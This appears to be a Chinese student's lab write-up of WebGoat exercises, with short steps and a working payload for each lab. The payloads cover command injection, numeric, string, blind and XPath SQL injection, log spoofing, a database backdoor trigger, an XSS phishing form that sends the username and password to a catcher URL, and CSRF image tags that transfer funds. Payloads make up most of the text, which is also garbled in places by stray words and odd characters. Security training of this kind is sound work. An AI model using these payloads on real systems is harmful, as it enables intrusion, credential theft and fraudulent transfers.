防護:經過驗證碼來檢測用戶提交,儘可能不要在頁面的連接中暴露用戶隱私信息,對於用戶修改刪除等操做最好都使用post 操做 ,避免全站通用的cookie,嚴格設置cookie的域。html
java -jar webgoat-container-7.1-exec.ja
開啓webgoatlocalhost:8080/WebGoat
,選擇默認的帳號密碼便可登錄Command Injectionjava
BackDoors.help
,並view
,右鍵選擇Inspect Element
BackDoors.help
旁邊加上"& netstat -an & ipconfig"
view
,能夠看到命令被執行,出現系統網絡鏈接狀況Numeric SQL Injectionweb
Columbia
,Go
,能夠看到全部天氣數據Log Spoofingsql
zss%0d%0aLogin Succeeded for username: admin
XPATH Injection數據庫
user name:zss' or 1=1 or 'a'='a password:zss
String SQL Injection瀏覽器
' or 1=1 --
LAB: SQL Injection服務器
ViewProfile
,這個地方是以員工ID做爲索引傳遞參數的,咱們要達到經過Larry來瀏覽老闆帳戶信息的目的,通常來講老闆的工資都應該是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --
,這樣老闆的信息就會被排到第一Database Backdoorscookie
101; update employee set salary=10000
,將工資漲到了10000101;CREATE TRIGGER yqhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20154322@qq.com' WHERE userid = NEW.userid
,建立後門Blind Numeric SQL Injection網絡
pins
表中cc_number
字段值爲1111222233334444
的記錄中pin
字段的數值,從服務端頁面返回的信息中能夠知道,只會反饋兩種信息:賬號有效或無效101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2000 )
;查看pin
數值是否大於2000
逐步縮小範圍,最後肯定數值
xss
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br><br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
Reflected XSS Attacks
若是咱們將帶有攻擊性的URL做爲輸入源,好比<script>alert("23320154308yqh");</script>
,就會彈出對話框
在信息框內輸入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=1000000"/>
(這句話的意思是將Funds即金錢轉到本身的帳戶裏),點擊提交後就執行了這個代碼,被攻擊者就會給你轉錢,成功
CSRF Prompt By-Pass
<img src="attack?Screen=1471017872&menu=900&transferFunds=5000" width="1" height="1"> <img src="attack?Screen=1471017872&menu=900&transferFunds=confirm" width="1" height="1">